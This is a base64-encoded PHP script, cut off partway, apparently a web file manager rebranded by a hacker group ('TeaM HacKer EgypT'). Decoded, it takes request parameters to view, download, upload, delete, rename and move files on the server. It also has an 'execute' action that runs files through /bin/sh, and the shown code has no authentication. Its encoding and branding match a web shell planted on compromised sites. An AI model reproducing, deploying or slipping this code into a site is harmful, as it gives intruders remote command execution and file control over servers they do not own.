OQogKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CiAqCiAqIENoYW5nZXMgb2YgcmV2aXNpb24gOQogKiA8STBY MEBIT1RNQUlMLkNPTT4KICogICAgYWRkZWQgd29ya2Fyb3VuZCBmb3IgZGlyZWN0b3J5IGxpc3Rp bmcsIGlmIGxzdGF0KCkgaXMgZGlzYWJsZWQKICogICAgZml4ZWQgcGVybWlzc29uIG9mIHVwbG9h ZGVkIGZpbGVzICh0aGFua3MgdG8gU3RlcGhhbiBEdWZmbmVyKQogKgogKiBDaGFuZ2VzIG9mIHJl dmlzaW9uIDgKICogPG9rYW5rYW5Ac3R1ZC5zZHUuZWR1LnRyPgogKiAgICBhZGRlZCBUdXJraXNo IHRyYW5zbGF0aW9uCiAqIDxqQGt1Yi5jej4KICogICAgYWRkZWQgQ3plY2ggdHJhbnNsYXRpb24K ICogPEkwWDBASE9UTUFJTC5DT00+CiAqICAgIGltcHJvdmVkIGNoYXJzZXQgaGFuZGxpbmcKICoK ICogQ2hhbmdlcyBvZiByZXZpc2lvbiA3CiAqIDxzenVuaWdhQHZ0ci5uZXQ+CiAqICAgIGFkZGVk IFNwYW5pc2ggdHJhbnNsYXRpb24KICogPGxhcnNAc29lbGdhYXJkLm5ldD4KICogICAgYWRkZWQg RGFuaXNoIHRyYW5zbGF0aW9uCiAqIDxJMFgwQEhPVE1BSUwuQ09NPgogKiAgICBpbXByb3ZlZCBy ZW5hbWUgZGlhbG9nCiAqCiAqIENoYW5nZXMgb2YgcmV2aXNpb24gNgogKiA8bmVkZXJrb29ybkB0 aXNjYWxpLm5sPgogKiAgICBhZGRlZCBEdXRjaCB0cmFuc2xhdGlvbgogKgogKiBDaGFuZ2VzIG9m IHJldmlzaW9uIDUKICogPEkwWDBASE9UTUFJTC5DT00+CiAqICAgIGFkZGVkIGxhbmd1YWdlIGF1 dG8gc2VsZWN0CiAqICAgIGZpeGVkIHN5bWxpbmtzIGluIGRpcmVjdG9yeSBsaXN0aW5nCiAqICAg IHJlbW92ZWQgd29yZC13cmFwIGluIGVkaXQgdGV4dGFyZWEKICoKICogQ2hhbmdlcyBvZiByZXZp c2lvbiA0CiAqIDxkYWxvYW5AZ3VpZGVvLmZyPgogKiAgICBhZGRlZCBGcmVuY2ggdHJhbnNsYXRp b24KICogPGFuZGVyc0B3aWlrLmNjPgogKiAgICBhZGRlZCBTd2VkaXNoIHRyYW5zbGF0aW9uCiAq CiAqIENoYW5nZXMgb2YgcmV2aXNpb24gMwogKiA8bnp1bnRhQGdhYnJpZWxlLWVyYmEuaXQ+CiAq ICAgIGltcHJvdmVkIEl0YWxpYW4gdHJhbnNsYXRpb24KICoKICogQ2hhbmdlcyBvZiByZXZpc2lv biAyCiAqIDxJMFgwQEhPVE1BSUwuQ09NPgogKiAgICBnb3QgaW1hZ2VzIHdvcmsgaW4gc29tZSBv bGQgYnJvd3NlcnMKICogICAgZml4ZWQgY3JlYXRpb24gb2YgZGlyZWN0b3JpZXMKICogICAgZml4 ZWQgZmlsZXMgZGVsZXRpb24KICogICAgaW1wcm92ZWQgcGF0aCBoYW5kbGluZwogKiAgICBhZGRl ZCBtaXNzaW5nIHdvcmQgJ25vdF9jcmVhdGVkJwogKiA8dGlsbEB0dXhlbi5kZT4KICogICAgaW1w cm92ZWQgaHVtYW4gcmVhZGFiaWxpdHkgb2YgZmlsZSBzaXplcwogKiA8bnp1bnRhQGdhYnJpZWxl LWVyYmEuaXQ+CiAqICAgIGFkZGVkIEl0YWxpYW4gdHJhbnNsYXRpb24KICoKICogQ2hhbmdlcyBv ZiByZXZpc2lvbiAxCiAqIDxJMFgwQEhPVE1BSUwuQ09NPgogKiAgICBUZWFNIEhhY0tlciBFZ3lw VCBjb21wbGV0ZWx5IHJld3JpdHRlbjoKICogICAgLSBjbGVhbiBYSFRNTC9DU1Mgb3V0cHV0CiAq ICAgIC0gc2V2ZXJhbCBmaWxlcyBzZWxlY3RhYmxlCiAqICAgIC0gc3VwcG9ydCBmb3Igd2luZG93 cyBzZXJ2ZXJzCiAqICAgIC0gbm8gbW9yZSB0cmVldmlldywgYmVjYXVzZQogKiAgICAgIC0gVGVh TSBIYWNLZXIgRWd5cFQgaXMgYSA+c2ltcGxlPCBmaWxlIG1hbmFnZXIKICogICAgICAtIHBlcmZv cm1hbmNlIHByb2JsZW1zICh0b28gbXVjaCBhZGRpdGlvbmFsIGNvZGUpCiAqICAgICAgLSBJIGRv bid0IGxpa2U6IGZyYW1lcywgamF2YS1zY3JpcHQsIHRvIHJlbG9hZCBhZnRlciBldmVyeSB0cmVl dmlldy1jbGljawogKiAgICAtIGV4ZWN1dGlvbiBvZiBzaGVsbCBzY3JpcHRzCiAqICAgIC0gaW50 cm9kdWNlZCByZXZpc2lvbiBudW1iZXJzCiAqCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8KCi8qIFlv dXIgbGFuZ3VhZ2U6CiAqICdlbicgLSBFbmdsaXNoCiAqICdkZScgLSBHZXJtYW4KICogJ2ZyJyAt IEZyZW5jaAogKiAnaXQnIC0gSXRhbGlhbgogKiAnbmwnIC0gRHV0Y2gKICogJ3NlJyAtIFN3ZWRp c2gKICogJ3NwJyAtIFNwYW5pc2gKICogJ2RrJyAtIERhbmlzaAogKiAndHInIC0gVHVya2lzaAog KiAnY3MnIC0gQ3plY2gKICogJ2F1dG8nIC0gYXV0b3NlbGVjdAogKi8KJGxhbmcgPSAnYXV0byc7 CgovKiBDaGFyc2V0IG9mIG91dHB1dDoKICogcG9zc2libGUgdmFsdWVzIGFyZSBkZXNjcmliZWQg aW4gdGhlIGNoYXJzZXQgdGFibGUgYXQKICogaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9m dW5jdGlvbi5odG1sZW50aXRpZXMucGhwCiAqICdhdXRvJyAtIHVzZSB0aGUgc2FtZSBjaGFyc2V0 IGFzIHRoZSB3b3JkcyBvZiBteSBsYW5ndWFnZSBhcmUgZW5jb2RlZAogKi8KJHNpdGVfY2hhcnNl dCA9ICdhdXRvJzsKCi8qIEhvbWVkaXI6CiAqIEZvciBleGFtcGxlOiAnLi8nIC0gdGhlIHNjcmlw dCdzIGRpcmVjdG9yeQogKi8KJGhvbWVkaXIgPSAnLi8nOwoKLyogU2l6ZSBvZiB0aGUgZWRpdCB0 ZXh0YXJlYQogKi8KJGVkaXRjb2xzID0gODA7CiRlZGl0cm93cyA9IDI1OwoKLyogLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogKiBPcHRpb25hbCBjb25maWd1cmF0 aW9uIChyZW1vdmUgIyB0byBlbmFibGUpCiAqLwoKLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGRp cmVjdG9yaWVzOgogKiBGb3IgZXhhbXBsZTogMDcwNSB3b3VsZCBiZSAnZHJ3eC0tLXIteCcuCiAq LwojICRkaXJwZXJtaXNzaW9uID0gMDcwNTsKCi8qIFBlcm1pc3Npb24gb2YgY3JlYXRlZCBmaWxl czoKICogRm9yIGV4YW1wbGU6IDA2MDQgd291bGQgYmUgJy1ydy0tLS1yLS0nLgogKi8KIyAkZmls ZXBlcm1pc3Npb24gPSAwNjA0OwoKLyogRmlsZW5hbWVzIHJlbGF0ZWQgdG8gdGhlIGFwYWNoZSB3 ZWIgc2VydmVyOgogKi8KJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7CiRodHBhc3N3ZCA9ICcuaHRw YXNzd2QnOwoKLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwoKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3Bj KCkpIHsKCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1BPU1QsICdz dHJpcCcpOwoJYXJyYXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOwp9CgppZiAoYXJyYXlfa2V5 X2V4aXN0cygnaW1hZ2UnLCAkX0dFVCkpIHsKCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9n aWYnKTsKCWRpZShnZXRpbWFnZSgkX0dFVFsnaW1hZ2UnXSkpOwp9CgppZiAoIWZ1bmN0aW9uX2V4 aXN0cygnbHN0YXQnKSkgewoJZnVuY3Rpb24gbHN0YXQgKCRmaWxlbmFtZSkgewoJCXJldHVybiBz dGF0KCRmaWxlbmFtZSk7Cgl9Cn0KCiRkZWxpbSA9IERJUkVDVE9SWV9TRVBBUkFUT1I7CgppZiAo ZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgewoJJHdpbiA9IChzdHJ0b3VwcGVyKHN1YnN0 cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpID8gdHJ1ZSA6IGZhbHNlOwp9IGVsc2UgewoJJHdp biA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7Cn0KCmlmICghZW1wdHkoJF9TRVJW RVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgewoJJHNjcmlwdGRpciA9IGRpcm5hbWUoJF9TRVJWRVJb J1BBVEhfVFJBTlNMQVRFRCddKTsKfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0NSSVBUX0ZJ TEVOQU1FJ10pKSB7Cgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVO QU1FJ10pOwp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRjd2QnKSkgewoJJHNjcmlwdGRp ciA9IGdldGN3ZCgpOwp9IGVsc2UgewoJJHNjcmlwdGRpciA9ICcuJzsKfQokaG9tZWRpciA9IHJl bGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsKCiRkaXIgPSAoYXJyYXlfa2V5 X2V4aXN0cygnZGlyJywgJF9SRVFVRVNUKSkgPyAkX1JFUVVFU1RbJ2RpciddIDogJGhvbWVkaXI7 CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnb2xkZGlyJywgJF9QT1NUKSAmJiAhcGF0aF9pc19yZWxh dGl2ZSgkX1BPU1RbJ29sZGRpciddKSkgewoJJGRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRkaXIs ICRfUE9TVFsnb2xkZGlyJ10pOwp9CgokZGlyZWN0b3J5ID0gc2ltcGxpZnlfcGF0aChhZGRzbGFz aCgkZGlyKSk7CgokZmlsZXMgPSBhcnJheSgpOwokYWN0aW9uID0gJyc7CmlmICghZW1wdHkoJF9Q T1NUWydzdWJtaXRfYWxsJ10pKSB7CgkkYWN0aW9uID0gJF9QT1NUWydhY3Rpb25fYWxsJ107Cglm b3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7CgkJaWYgKGFycmF5X2tleV9l eGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1 ZScpIHsKCQkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJCX0KCX0KfSBlbHNlaWYgKCFl bXB0eSgkX1JFUVVFU1RbJ2FjdGlvbiddKSkgewoJJGFjdGlvbiA9ICRfUkVRVUVTVFsnYWN0aW9u J107CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGly ZWN0b3J5KTsKfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF91cGxvYWQnXSkgJiYgIWVt cHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKSB7CgkkZmlsZXNbXSA9ICRfRklMRVNbJ3Vw bG9hZCddOwoJJGFjdGlvbiA9ICd1cGxvYWQnOwp9IGVsc2VpZiAoYXJyYXlfa2V5X2V4aXN0cygn bnVtJywgJF9QT1NUKSkgewoJZm9yICgkaSA9IDA7ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykg ewoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOwoJfQoJ aWYgKCRpIDwgJF9QT1NUWydudW0nXSkgewoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07 CgkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJfQp9CmlmIChlbXB0eSgkYWN0aW9uKSAm JiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2NyZWF0ZSddKSB8fCAoYXJyYXlfa2V5X2V4aXN0cygn Zm9jdXMnLCAkX1BPU1QpICYmICRfUE9TVFsnZm9jdXMnXSA9PSAnY3JlYXRlJykpICYmICFlbXB0 eSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10pKSB7CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRl KCRfUE9TVFsnY3JlYXRlX25hbWUnXSwgJGRpcmVjdG9yeSk7Cglzd2l0Y2ggKCRfUE9TVFsnY3Jl YXRlX3R5cGUnXSkgewoJY2FzZSAnZGlyZWN0b3J5JzoKCQkkYWN0aW9uID0gJ2NyZWF0ZV9kaXJl Y3RvcnknOwoJCWJyZWFrOwoJY2FzZSAnZmlsZSc6CgkJJGFjdGlvbiA9ICdjcmVhdGVfZmlsZSc7 Cgl9Cn0KaWYgKHNpemVvZigkZmlsZXMpID09IDApICRhY3Rpb24gPSAnJzsgZWxzZSAkZmlsZSA9 IHJlc2V0KCRmaWxlcyk7CgppZiAoJGxhbmcgPT0gJ2F1dG8nKSB7CglpZiAoYXJyYXlfa2V5X2V4 aXN0cygnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnLCAkX1NFUlZFUikgJiYgc3RybGVuKCRfU0VSVkVS WydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA+PSAyKSB7CgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJW RVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOwoJfSBlbHNlIHsKCQkkbGFuZyA9ICdl bic7Cgl9Cn0KCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsKCmlmICgkc2l0ZV9jaGFyc2V0ID09 ICdhdXRvJykgewoJJHNpdGVfY2hhcnNldCA9ICR3b3JkX2NoYXJzZXQ7Cn0KCiRjb2xzID0gKCR3 aW4pID8gNCA6IDc7CgppZiAoIWlzc2V0KCRkaXJwZXJtaXNzaW9uKSkgewoJJGRpcnBlcm1pc3Np b24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1 NTsKfQppZiAoIWlzc2V0KCRmaWxlcGVybWlzc2lvbikpIHsKCSRmaWxlcGVybWlzc2lvbiA9IChm dW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Owp9Cgpp ZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgewoJJHNlbGYgPSBodG1sKGJhc2Vu YW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7Cn0gZWxzZWlmICghZW1wdHkoJF9TRVJWRVJb J1BIUF9TRUxGJ10pKSB7Cgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxG J10pKTsKfSBlbHNlIHsKCSRzZWxmID0gJyc7Cn0KCmlmICghZW1wdHkoJF9TRVJWRVJbJ1NFUlZF Ul9TT0ZUV0FSRSddKSkgewoJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJf U09GVFdBUkUnXSwgMCwgNikpID09ICdhcGFjaGUnKSB7CgkJJGFwYWNoZSA9IHRydWU7Cgl9IGVs c2UgewoJCSRhcGFjaGUgPSBmYWxzZTsKCX0KfSBlbHNlIHsKCSRhcGFjaGUgPSB0cnVlOwp9Cgpz d2l0Y2ggKCRhY3Rpb24pIHsKCmNhc2UgJ3ZpZXcnOgoKCWlmIChpc19zY3JpcHQoJGZpbGUpKSB7 CgoJCS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8KCQlvYl9zdGFydCgpOwoJCWhpZ2hs aWdodF9maWxlKCRmaWxlKTsKCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFte Il0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsK CQkkc3JjID0gc3RyX3JlcGxhY2UoYXJyYXkoJzwvZm9udD4nLCAiXAoiLCAiXAoiKSwgYXJyYXko Jzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsKCQlvYl9lbmRfY2xlYW4oKTsKCgkJaHRtbF9oZWFk ZXIoKTsKCQllY2hvICc8aDIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IG1hcmdpbi1ib3R0b206 IDAiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPgoKPGhyIC8+Cgo8dGFibGU+Cjx0cj4KPHRkIHN0 eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcDsgY29sb3I6IGdyYXk7 IHBhZGRpbmctcmlnaHQ6IDNwdDsgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgZ3JheSI+CjxwcmUg c3R5bGU9Im1hcmdpbi10b3A6IDAiPjxjb2RlPic7CgoJCWZvciAoJGkgPSAxOyAkaSA8PSBzaXpl b2YoZmlsZSgkZmlsZSkpOyAkaSsrKSBlY2hvICIkaVwKIjsKCgkJZWNobyAnPC9jb2RlPjwvcHJl Pgo8L3RkPgo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7 IHBhZGRpbmctbGVmdDogM3B0Ij4KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMg LiAnPC9wcmU+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CgonOwoKCQlodG1sX2Zvb3RlcigpOwoKCX0g ZWxzZSB7CgoJCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsK CQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmls ZSkpOwoKCQlyZWFkZmlsZSgkZmlsZSk7CgoJfQoKCWJyZWFrOwoKY2FzZSAnZG93bmxvYWQnOgoK CWhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKCWhlYWRlcignRXhwaXJlczogMCcpOwoJaGVhZGVy KCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNr PTAnKTsKCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsKCWhl YWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2Vu YW1lKCRmaWxlKSAuICc7Jyk7CgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUo JGZpbGUpKTsKCglyZWFkZmlsZSgkZmlsZSk7CgoJYnJlYWs7CgpjYXNlICd1cGxvYWQnOgoKCSRk ZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7CgoJaWYg KEBmaWxlX2V4aXN0cygkZGVzdCkpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhp c3RzJywgJGRlc3QpKTsKCX0gZWxzZWlmIChAbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlWyd0bXBf bmFtZSddLCAkZGVzdCkpIHsKCQlAY2htb2QoJGRlc3QsICRmaWxlcGVybWlzc2lvbik7CgkJbGlz dGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7Cgl9IGVsc2UgewoJ CWxpc3RpbmdfcGFnZShlcnJvcignbm90X3VwbG9hZGVkJywgJGZpbGVbJ25hbWUnXSkpOwoJfQoK CWJyZWFrOwoKY2FzZSAnY3JlYXRlX2RpcmVjdG9yeSc6CgoJaWYgKEBmaWxlX2V4aXN0cygkZmls ZSkpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGZpbGUpKTsKCX0g ZWxzZSB7CgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsKCQlpZiAoQG1r ZGlyKCRmaWxlLCAkZGlycGVybWlzc2lvbikpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY3Jl YXRlZCcsICRmaWxlKSk7CgkJfSBlbHNlIHsKCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY3Jl YXRlZCcsICRmaWxlKSk7CgkJfQoJCUB1bWFzaygkb2xkKTsKCX0KCglicmVhazsKCmNhc2UgJ2Ny ZWF0ZV9maWxlJzoKCglpZiAoQGZpbGVfZXhpc3RzKCRmaWxlKSkgewoJCWxpc3RpbmdfcGFnZShl cnJvcignYWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOwoJfSBlbHNlIHsKCQkkb2xkID0gQHVtYXNr KDA3NzcgJiB+JGZpbGVwZXJtaXNzaW9uKTsKCQlpZiAoQHRvdWNoKCRmaWxlKSkgewoJCQllZGl0 KCRmaWxlKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywg JGZpbGUpKTsKCQl9CgkJQHVtYXNrKCRvbGQpOwoJfQoKCWJyZWFrOwoKY2FzZSAnZXhlY3V0ZSc6 CgoJY2hkaXIoZGlybmFtZSgkZmlsZSkpOwoKCSRvdXRwdXQgPSBhcnJheSgpOwoJJHJldHZhbCA9 IDA7CglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAk b3V0cHV0LCAkcmV0dmFsKTsKCgkkZXJyb3IgPSAoJHJldHZhbCA9PSAwKSA/IGZhbHNlIDogdHJ1 ZTsKCglpZiAoc2l6ZW9mKCRvdXRwdXQpID09IDApICRvdXRwdXQgPSBhcnJheSgnPCcgLiAkd29y ZHNbJ25vX291dHB1dCddIC4gJz4nKTsKCglpZiAoJGVycm9yKSB7CgkJbGlzdGluZ19wYWdlKGVy cm9yKCdub3RfZXhlY3V0ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXAoiLCAkb3V0cHV0KSkpOwoJfSBl bHNlIHsKCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdleGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJc CiIsICRvdXRwdXQpKSk7Cgl9CgoJYnJlYWs7CgpjYXNlICdkZWxldGUnOgoKCWlmICghZW1wdHko JF9QT1NUWydubyddKSkgewoJCWxpc3RpbmdfcGFnZSgpOwoJfSBlbHNlaWYgKCFlbXB0eSgkX1BP U1RbJ3llcyddKSkgewoKCQkkZmFpbHVyZSA9IGFycmF5KCk7CgkJJHN1Y2Nlc3MgPSBhcnJheSgp OwoKCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKCQkJaWYgKGRlbCgkZmlsZSkpIHsKCQkJ CSRzdWNjZXNzW10gPSAkZmlsZTsKCQkJfSBlbHNlIHsKCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsK CQkJfQoJCX0KCgkJJG1lc3NhZ2UgPSAnJzsKCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsK CQkJJG1lc3NhZ2UgPSBlcnJvcignbm90X2RlbGV0ZWQnLCBpbXBsb2RlKCJcCiIsICRmYWlsdXJl KSk7CgkJfQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgewoJCQkkbWVzc2FnZSAuPSBub3Rp Y2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcCiIsICRzdWNjZXNzKSk7CgkJfQoKCQlsaXN0aW5nX3Bh Z2UoJG1lc3NhZ2UpOwoKCX0gZWxzZSB7CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVjaG8gJzxmb3Jt IGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJkaWFs b2ciPgo8dHI+Cjx0ZCBjbGFzcz0iZGlhbG9nIj4KJzsKCgkJcmVxdWVzdF9kdW1wKCk7CgoJCWVj aG8gIlx0PGI+IiAuIHdvcmQoJ3JlYWxseV9kZWxldGUnKSAuICc8L2I+Cgk8cD4KJzsKCgkJZm9y ZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCWVjaG8gIlx0IiAuIGh0bWwoJGZpbGUpIC4gIjxi ciAvPlwKIjsKCQl9CgoJCWVjaG8gJwk8L3A+Cgk8aHIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQi IG5hbWU9Im5vIiB2YWx1ZT0iJyAuIHdvcmQoJ25vJykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4K CTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAu ICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4KPC90ZD4K PC90cj4KPC90YWJsZT4KPC9mb3JtPgoKJzsKCgkJaHRtbF9mb290ZXIoKTsKCgl9CgoJYnJlYWs7 CgpjYXNlICdyZW5hbWUnOgoKCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgewoK CQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVj dG9yeSk7CgoJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAcmVuYW1lKCRmaWxlLCAkZGVz dCkpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOwoJ CX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3JlbmFtZWQnLCAkZmlsZSwgJGRl c3QpKTsKCQl9CgoJfSBlbHNlIHsKCgkJJG5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CgoJCWh0bWxf aGVhZGVyKCk7CgoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJw b3N0Ij4KCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cgk8 aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiIC8+Cgk8aW5w dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIg Lz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJl Y3RvcnkpIC4gJyIgLz4KCTxiPicgLiB3b3JkKCdyZW5hbWVfZmlsZScpIC4gJzwvYj4KCTxwPicg LiBodG1sKCRmaWxlKSAuICc8L3A+Cgk8Yj4nIC4gc3Vic3RyKCRmaWxlLCAwLCBzdHJsZW4oJGZp bGUpIC0gc3RybGVuKCRuYW1lKSkgLiAnPC9iPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRl c3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkbmFtZSkgLiAnIiB2YWx1ZT0iJyAu IGh0bWwoJG5hbWUpIC4gJyIgLz4KCTxociAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9 IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+CjwvdGQ+CjwvdHI+CjwvdGFibGU+Cgo8cD48YSBo cmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAn IC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4KCic7CgoJCWh0bWxfZm9vdGVy KCk7CgoJfQoKCWJyZWFrOwoKY2FzZSAnbW92ZSc6CgoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3Rp bmF0aW9uJ10pKSB7CgoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5h dGlvbiddLCAkZGlyZWN0b3J5KTsKCgkJJGZhaWx1cmUgPSBhcnJheSgpOwoJCSRzdWNjZXNzID0g YXJyYXkoKTsKCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCSRmaWxlbmFtZSA9IHN1 